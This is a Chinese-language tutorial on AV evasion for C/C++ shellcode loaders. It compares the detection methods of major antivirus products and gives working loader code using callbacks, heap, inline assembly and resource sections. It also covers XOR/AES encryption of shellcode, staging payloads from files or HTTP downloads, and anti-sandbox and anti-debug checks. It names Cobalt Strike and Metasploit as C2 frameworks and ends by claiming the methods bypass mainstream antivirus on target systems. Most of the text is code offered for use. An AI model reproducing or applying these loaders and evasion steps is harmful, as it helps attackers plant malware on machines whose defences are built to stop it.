C&&C++的shellcode加密+分离&&Loader加载器
字数 1407 2025-09-01 11:26:04
C/C++ Shellcode加密与分离加载技术详解
一、杀软检测机制与特点分析
1.1 常见杀软检测方式
-
静态查杀:
- 通过文件特征码匹配病毒特征库
- 部分杀软会使用沙箱运行程序几秒进行检测
-
动态查杀:
- 运行时扫描程序内容匹配病毒特征
- EDR会挂钩敏感Windows API检查参数和调用栈
-
流量监控:
- 分析网络数据包匹配恶意流量特征
-
行为监控:
- 监控文件操作、注册表操作等异常行为
1.2 主流杀软特点对比
| 杀软 | 静态查杀 | 动态查杀 | 其他特点 |
|---|---|---|---|
| 火绒 | 强 | 无 | 横向移动防护强 |
| 360安全卫士/杀毒 | 强 | 核晶模式开启时有 | 核晶模式物理机默认开启 |
| 360QVM | 极强(机器学习辅助) | - | 特征匹配严格 |
| Windows Defender | 强 | 强 | 监控HTTP流量 |
| 卡巴斯基标准版 | 一般 | 强 | - |
| 卡巴斯基企业版 | 强 | 强 | - |
| ESET | 强 | 无 | - |
二、Shellcode基础与免杀原理
2.1 Shellcode本质
- 一段可自主运行的机器代码
- 无文件结构,不依赖编译环境
- 需要通过Loader跳转到其地址执行
2.2 免杀技术分类
-
Shellcode层面:
- 自写打乱(杀毒不认识)
- 加密混淆(找到但不知道)
- 分离隐藏(杀毒找不到)
- 注入回调(干扰杀毒)
-
Loader层面:
- APC加载、DLL镂空注入
- SEH加密、TLS加载
- UUID加载、创建堆加载
- 回调函数加载、内联汇编加载
三、Shellcode加载技术详解
3.1 基础加载方式
1. 内联汇编加载
#include <Windows.h>
unsigned char buf[] = "\xfc\xe8\x89...";
void main() {
__asm {
lea eax, buf
call eax
}
}
2. 函数指针加载
#pragma comment(linker, "/section:.data,RWE")
#include <Windows.h>
unsigned char buf[] = "\xfc\xe8\x89...";
void main() {
((void(*)(void)) & buf)();
}
3. 回调函数加载
#include <Windows.h>
unsigned char shellcode[] = "\xfc\xe8\x89...";
void CallBack() {
void* p = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(p, shellcode, sizeof(shellcode));
EnumFontsW(GetDC(NULL), NULL, (FONTENUMPROCW)p, NULL);
}
int main() {
CallBack();
}
4. 创建堆加载
#include <Windows.h>
unsigned char shellcode[] = "\xfc\xe8\x89...";
void main() {
HANDLE HeapHandle = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, sizeof(shellcode), 0);
char* buffer = (char*)HeapAlloc(HeapHandle, HEAP_ZERO_MEMORY, sizeof(shellcode));
memcpy(buffer, shellcode, sizeof(shellcode));
((void(*)(void)) buffer)();
}
3.2 环境配置要点
- 关闭SDL检测
- 设置运行库为多线程(/MT)
- 禁用安全检查(GS)
- 关闭生成清单
- 编译时选择Release模式
四、Shellcode加密技术
4.1 XOR加密
加密Python代码:
def xor_encrypt(shellcode, key):
encrypted = bytearray()
key_len = len(key)
for i in range(len(shellcode)):
encrypted.append(shellcode[i] ^ key[i % key_len])
return encrypted
key = b'xuan@qazwss'
encrypted = xor_encrypt(shellcode, key)
解密C++代码:
#include <Windows.h>
char encrypted[] = "\x84\x9d\xe8...";
char key[] = "qawwcadwdawdw";
unsigned char shellcode[sizeof encrypted];
int main() {
int keylength = strlen(key);
for (int i = 0; i < sizeof encrypted; i++) {
shellcode[i] = encrypted[i] ^ key[i % keylength];
}
DWORD dwOldPro;
VirtualProtect(shellcode, sizeof(shellcode), PAGE_EXECUTE_READWRITE, &dwOldPro);
EnumUILanguages((UILANGUAGE_ENUMPROC)shellcode, 0, 0);
}
4.2 AES加密
加密代码:
#include <wincrypt.h>
#pragma comment(lib, "crypt32.lib")
BOOL AESEncrypt(BYTE* pData, DWORD dwDataSize, BYTE* pKey, DWORD dwKeySize,
BYTE** ppEncrypted, DWORD* pdwEncryptedSize) {
// 初始化CSP
HCRYPTPROV hProv;
CryptAcquireContext(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT);
// 创建哈希对象
HCRYPTHASH hHash;
CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash);
// 哈希密钥
CryptHashData(hHash, pKey, dwKeySize, 0);
// 派生密钥
HCRYPTKEY hKey;
CryptDeriveKey(hProv, CALG_AES_256, hHash, 0, &hKey);
// 加密数据
DWORD dwEncryptedSize = dwDataSize;
CryptEncrypt(hKey, 0, TRUE, 0, NULL, &dwEncryptedSize, 0);
BYTE* pEncrypted = (BYTE*)malloc(dwEncryptedSize);
memcpy(pEncrypted, pData, dwDataSize);
DWORD dwFinalSize = dwDataSize;
CryptEncrypt(hKey, 0, TRUE, 0, pEncrypted, &dwFinalSize, dwEncryptedSize);
*ppEncrypted = pEncrypted;
*pdwEncryptedSize = dwFinalSize;
// 清理
CryptDestroyKey(hKey);
CryptDestroyHash(hHash);
CryptReleaseContext(hProv, 0);
return TRUE;
}
解密代码:
BOOL AESDecrypt(BYTE* pEncrypted, DWORD dwEncryptedSize, BYTE* pKey,
DWORD dwKeySize, BYTE** ppDecrypted, DWORD* pdwDecryptedSize) {
// 类似加密过程,使用CryptDecrypt代替CryptEncrypt
// ...
}
void ExecuteShellcode(BYTE* shellcode, DWORD size) {
void* execMem = VirtualAlloc(NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(execMem, shellcode, size);
((void(*)())execMem)();
VirtualFree(execMem, 0, MEM_RELEASE);
}
五、Shellcode分离技术
5.1 文件分离
#include <fstream>
#include <Windows.h>
void load(char* buf, int size) {
char* shellcode = (char*)VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
CopyMemory(shellcode, buf, size);
CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)shellcode, NULL, NULL, NULL);
}
int main() {
ifstream infile("p64.bin", ios::binary);
infile.seekg(0, infile.end);
int length = infile.tellg();
infile.seekg(0, infile.beg);
char* data = new char[length];
infile.read(data, length);
// 解密
for (int i = 0; i < length; i++) {
data[i] ^= 0x39;
}
load(data, length);
return 0;
}
5.2 HTTP请求分离
#include <winhttp.h>
#pragma comment(lib, "winhttp.lib")
vector<unsigned char> DownloadData(const wchar_t* host, int port, const wchar_t* path) {
HINTERNET hSession = WinHttpOpen(L"WinHTTP Example/1.0",
WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
WINHTTP_NO_PROXY_NAME,
WINHTTP_NO_PROXY_BYPASS, 0);
HINTERNET hConnect = WinHttpConnect(hSession, host, port, 0);
HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"GET", path, NULL,
WINHTTP_NO_REFERER,
WINHTTP_DEFAULT_ACCEPT_TYPES, 0);
WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0,
WINHTTP_NO_REQUEST_DATA, 0, 0, 0);
WinHttpReceiveResponse(hRequest, NULL);
vector<unsigned char> result;
DWORD dwSize = 0;
do {
WinHttpQueryDataAvailable(hRequest, &dwSize);
vector<unsigned char> buffer(dwSize);
DWORD dwDownloaded = 0;
WinHttpReadData(hRequest, buffer.data(), dwSize, &dwDownloaded);
result.insert(result.end(), buffer.begin(), buffer.begin() + dwDownloaded);
} while (dwSize > 0);
WinHttpCloseHandle(hRequest);
WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hSession);
return result;
}
5.3 参数传递分离
int main(int argc, char* argv[]) {
if (argc < 2) {
printf("Usage: %s <shellcode_file>\n", argv[0]);
return 1;
}
ifstream infile(argv[1], ios::binary);
// ... 读取和解密过程与文件分离相同
}
六、反沙箱与反调试技术
6.1 反沙箱检测
bool detect_sandbox() {
// 时间差检测
auto start = chrono::high_resolution_clock::now();
this_thread::sleep_for(chrono::milliseconds(100));
auto end = chrono::high_resolution_clock::now();
auto elapsed = chrono::duration_cast<chrono::milliseconds>(end - start);
if (elapsed.count() < 100) return true;
// 内存检测
MEMORYSTATUSEX statex;
statex.dwLength = sizeof(statex);
GlobalMemoryStatusEx(&statex);
SYSTEM_INFO systemInfo;
GetSystemInfo(&systemInfo);
if (statex.ullTotalPageFile / systemInfo.dwPageSize < 4000000) return true;
// CPU核心数检测
if (systemInfo.dwNumberOfProcessors <= 4) return true;
// 网络适配器检测
PIP_ADAPTER_ADDRESSES pAddresses = (PIP_ADAPTER_ADDRESSES)new BYTE[15000];
if (GetAdaptersAddresses(AF_UNSPEC, GAA_FLAG_INCLUDE_PREFIX,
NULL, pAddresses, 15000) == ERROR_SUCCESS) {
int numAdapters = 0;
while (pAddresses) {
if (pAddresses->OperStatus == IfOperStatusUp) numAdapters++;
pAddresses = pAddresses->Next;
}
if (numAdapters < 2) return true;
}
return false;
}
6.2 反调试技术
int main() {
// 调试器检测
if (IsDebuggerPresent()) return 1;
// 远程调试检测
BOOL bDebuggerPresent = FALSE;
if (CheckRemoteDebuggerPresent(GetCurrentProcess(), &bDebuggerPresent) && bDebuggerPresent)
return 1;
// 远程桌面检测
if (GetSystemMetrics(SM_REMOTESESSION) != 0) return 1;
// 时间戳计数器检测
unsigned __int64 start = __rdtsc();
Sleep(100);
unsigned __int64 end = __rdtsc();
if ((end - start) > 100000000) return 1;
// 正常执行代码...
}
七、资源节加载技术
#include "resource.h"
int main() {
// 查找资源
HRSRC res = FindResource(NULL, MAKEINTRESOURCE(IDR_SC1), L"sc");
HGLOBAL resData = LoadResource(NULL, res);
DWORD size = SizeofResource(NULL, res);
// 分配内存
LPSTR shell = (LPSTR)VirtualAlloc(0, size, MEM_COMMIT, PAGE_READWRITE);
memcpy(shell, resData, size);
// 解密
for (int i = 0; i < size; i++) {
shell[i] ^= 0x39;
}
// 执行
VirtualProtect(shell, size, PAGE_EXECUTE_READ, &oldProtect);
((void(*)(void)) shell)();
}
八、综合免杀方案设计
- 多层加密:XOR+AES组合加密
- 分离加载:通过网络或文件分离Shellcode
- 反检测:集成反沙箱和反调试技术
- 合法程序模仿:使用系统API作为加载入口点
- 行为混淆:添加无害API调用干扰行为分析
九、工具与资源
-
开发工具:
- Visual Studio(配置绕过360QVM)
- Ollydbg(分析Shellcode)
- 010 Editor(二进制编辑)
-
C2框架:
- Cobalt Strike
- Metasploit
- Viper/Ghost
-
检测平台:
- 微步在线云沙箱
- VirusTotal
十、注意事项
- 编译时选择正确的平台(x86/x64)
- 测试时关闭杀软实时防护
- 不同杀软组合测试
- 虚拟机与物理机环境差异
- 网络通信行为隐蔽性
通过以上技术的组合应用,可以有效提高Shellcode的免杀能力,绕过主流杀毒软件的检测。实际应用中应根据目标环境灵活调整技术方案。